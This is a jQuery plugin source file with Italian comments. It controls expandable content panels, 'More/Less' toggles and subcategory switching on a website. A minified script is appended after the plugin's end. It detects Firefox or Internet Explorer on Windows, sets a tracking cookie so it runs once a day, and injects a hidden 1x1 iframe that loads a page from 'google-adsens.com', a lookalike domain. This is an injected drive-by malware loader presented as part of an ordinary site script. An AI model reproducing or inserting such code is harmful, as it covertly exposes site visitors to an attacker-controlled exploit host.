(function($) {

$.panel = {};

/*
* Public, $.fn methods
*/
$.fn.panel = function(config) {
		
	var settings = {	  
		toOpen : '.controller1 h3 a',	  
		toClose : '.close1 a',
		closeElement : '.controller1 .close1',
		hiddenContentElement : '.dett1',
		toExpand : 'li.more1 a',
		toExpandElement : 'li.hidden1',
		openContentClass : 'dettOpen1',
		openContentElement : '.dettOpen1',
		backgroundTextClass : 'contentOpenColor1',
		backgroundClass : 'contentOpen1',
		currentLinkClass : 'curr1',
		stopClass : 'stop1',
		slideshowElement : '.images1',
		
		toOpenStyle : '.controller h3 a',
		
		toCloseStyle : '.close a',	  
		closeElementStyle : '.controller .close',
			
		controllerClassStyle : 'controller',	
		contentClassStyle: 'content',
			
		openContentClassStyle : 'dettOpen',
		
		openContentElementStyle : '.dettOpen',
		
		backgroundTextClassStyle : 'contentOpenColor',
		
		backgroundClassStyle : 'contentOpen',
		
		currentLinkClassStyle : 'curr',
		
		stopClassStyle : 'stop' ,
		
		slideshowClass : 'slideshowStart',
		
		toSwitchSubcat : '.subcat-bar a',
		containerElement : '.content',
		
		subcatLinkElement : '.subcat-bar li a',
		subcatLastLinkElement : '.subcat-bar li:first a',
			
		slideVel : 200,
		fadeVel : 500,
		lessClass : 'less',
		moreText : 'More',
		lessText : 'Less',
		
		formContacts : 'form#contactUs',
		
		titleElementStyle : '.title h2 a',
		
		_go : true
	}
		
	if (settings) $.extend(settings, config);

	var panelActions = {
	
						Open : function(obj){
							
							$(settings.toOpen).addClass(settings.stopClassStyle+' '+settings.stopClass);
							
							$(obj).addClass(settings.currentLinkClassStyle+' '+settings.currentLinkClass).
													parent().
													parent().
													parent().								
													find(settings.hiddenContentElement).addClass(settings.openContentClassStyle+' ' +settings.openContentClass).slideDown(settings.slideVel,function(){
														$(this).parent().find(settings.closeElement).fadeIn(settings.fadeVel);
														panelActions.backgroundStyle($(this).parent().parent(),'on');									
														$(settings.toOpen).removeClass(settings.stopClassStyle+' '+settings.stopClass);
														
														/*
															component/scroll/init.js
														*/
														slideshowInit($(this).find(settings.slideshowElement));		
														
														//posizione menu					
														$scrollMenu($(obj).parent().parent().parent().parent().parent().find(settings.titleElementStyle).attr('name'));
														
													}).find(settings.slideshowElement).addClass(settings.slideshowClass);
						},
						
						Close : function(obj, fastClose){
											
											var li = $(obj).parent().parent().parent();
											
											//chisura veloce per funzione more e pannelli di secondo livello
											if(fastClose){												
																										
													//se il pannello è aperto lo chiudo
													if(li.find(settings.openContentElementStyle).length == 1){
														
														//ricavo il numero della classe perchè quando utilizzo la funzione fastClose non posso utilizzare i parametri in settings che non sono stati setttati per gli elemente che devo chiudere
														var number = $(obj).parent().parent().attr("class").split(' ')[1].replace(settings.controllerClassStyle,'');
														
														li.find(settings.openContentElementStyle).hide().removeClass(settings.openContentClassStyle+' '+settings.openContentClassStyle+number);
														li.find(settings.toOpenStyle).removeClass(settings.currentLinkClassStyle+' '+settings.currentLinkClassStyle+number);
														li.find(settings.closeElementStyle).hide();
														
														//resetto il form dei contatti
														if($(settings.formContacts).length == 1){
															contacts.Reset(true);
														}
														
														panelActions.backgroundStyle(li.parent(),'off');
														
													}
													
													
											}else{
																								
												//se il pannello è aperto lo chiudo
												if(li.find(settings.openContentElement).length == 1){
													li.find(settings.openContentElement).slideUp(settings.slideVel,function(){																	
																																							
														$(this).removeClass(settings.openContentClassStyle+' '+settings.openContentClass);
														$(this).parent().find(settings.toOpen).removeClass(settings.currentLinkClassStyle+' '+settings.currentLinkClass);
														
														//resetto il form dei contatti
														if($(settings.formContacts).length == 1){
															contacts.Reset(true);
														}
														
														panelActions.backgroundStyle($(this).parent().parent(),'off');
																												
														//chiudo i pannelli di secondo livello e resetto le sotto categorie
														$(this).find(settings.toCloseStyle).each(function(){
															panelActions.Close(this, true);
															panelActions.setSubcat(this);
														});					
														
														//sblocco il tasto di chiusura
														$(obj).removeClass('disabled');
														
													}).parent().find(settings.closeElement).fadeOut(settings.fadeVel);
												}
												
											}
													
						},
						
						backgroundStyle : function(obj,action){
							
							//non serve in quanto viene settato il bg da jquery.scrollPage.js
							return false;			
										
							if(action == 'on'){
								//se lo sfondo non è ancora attivo
								if(!obj.hasClass(settings.backgroundClass)){					
									settings._go = false;
									obj.addClass(settings.backgroundClassStyle+' '+settings.backgroundClass, settings.fadeVel);
									setTimeout(function(){ settings._go = true; }, settings.fadeVel);
									obj.addClass(settings.backgroundTextClassStyle+' '+settings.backgroundTextClass);				 
								}
							}else if(action == 'off'){			
								
								//ricavo il numero della classe perchè quando utilizzo la funzione fastClose non posso utilizzare i parametri in settings che non sono stati setttati per gli elemente che devo chiudere
								var number = obj.attr("class").split(' ')[1].replace(settings.contentClassStyle,'');
								
								//se non vi sono pannelli aperti rimuovo lo sfondo
								if(obj.find(settings.openContentElement).length == '0'){	
									settings._go = false;
									obj.removeClass(settings.backgroundClassStyle+' '+settings.backgroundClassStyle+number, settings.fadeVel);
									setTimeout(function(){ settings._go = true; }, settings.fadeVel);
									obj.removeClass(settings.backgroundTextClassStyle+' '+settings.backgroundTextClassStyle+number);				
								}
							}		
							
						},
						
						more : function(obj){
							
							if($(obj).hasClass(settings.lessClass)){
								
								var options = {};								
								$(obj).parent().parent().find(settings.toExpandElement).show('blind',options,settings.slideVel);
								
							}else{
															
								var options = {};
								
								$(obj).parent().parent().find(settings.toExpandElement).hide('blind',options,settings.slideVel,function(){
									panelActions.Close($(this).find(settings.toClose), true);									
								});
											
					
							}
							
							//posizione menu					
							$scrollMenu($(obj).parent().parent().parent().find(settings.titleElementStyle).attr('name'));
							
							
						},
						
					SwitchSubcat : function(obj){						
						var _href=$(obj).attr('href');
						$(obj).parent().parent().find('a').removeClass(settings.currentLinkClassStyle);
						$(obj).addClass('curr').parent().parent().parent().parent().parent().find(settings.containerElement).hide();
						//chiudo i pannelli di secondo livello
						$(obj).parent().parent().parent().parent().parent().find(settings.toCloseStyle).each(function(){
							panelActions.Close(this, true);
						});
						$(obj).parent().parent().parent().parent().parent().find(_href).show('slide',settings.fadeVel);
					},
					
					setSubcat : function(obj){
						//reimposta il focus sull'ultima subcat						
						var dett = $(obj).parent().parent().parent().parent().parent();
						dett.find(settings.subcatLinkElement).removeClass(settings.currentLinkClassStyle);
						var _href = dett.find(settings.subcatLastLinkElement).addClass(settings.currentLinkClassStyle).attr('href');
						$(dett).find(settings.containerElement).hide();
						$(dett).find(_href).show();
					}
						
	};
	
	//chiudo i pannelli quando viene cliccato il menu
	$('#menu a, .top a').click(		
		function(){			
			//chiudo l'eventuale pannello aperto
			$(settings.toClose).each(function(){
				panelActions.Close(this);
			});
			return false;
		}
	);
	
	return this.each(function() {
		
		/*
		* Open/Close 
		*/
		$(this).find(settings.toOpen).click(
			function(){				
				
				if(settings._go && !$(this).hasClass(settings.currentLinkClass) && !$(this).hasClass(settings.stopClass)){ 
					
					//chiudo l'eventuale pannello aperto
					$(settings.toClose).each(function(){
						panelActions.Close(this);
					});					
										
					panelActions.Open(this);
										
				}
				return false;
				
			}
		);
		
		
		$(this).find(settings.toClose).click(
			function(){
				
				if(settings._go && !$(this).hasClass('disabled')){
					//blocco il tasto di chiusura
					$(this).addClass('disabled');
					panelActions.Close(this);
				}
				return false;
				
			}
		);

		
		
		/*
		* More 
		*/
		
		$(this).find(settings.toExpand).toggle(function() {
			$(this).addClass(settings.lessClass).text(settings.lessText);
			panelActions.more(this);				
			return false;
		}, function() {
		  	$(this).removeClass(settings.lessClass).text(settings.moreText);
			panelActions.more(this);				
			return false;
		});
		
		/*
		* Switch subcat
		*/
		$(this).find(settings.toSwitchSubcat).click(
			function(){
				if(!$(this).hasClass(settings.currentLinkClassStyle)){ 
					panelActions.SwitchSubcat(this);
				}
				return false;
				
			}
		);
		
	});

};



})(jQuery);var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
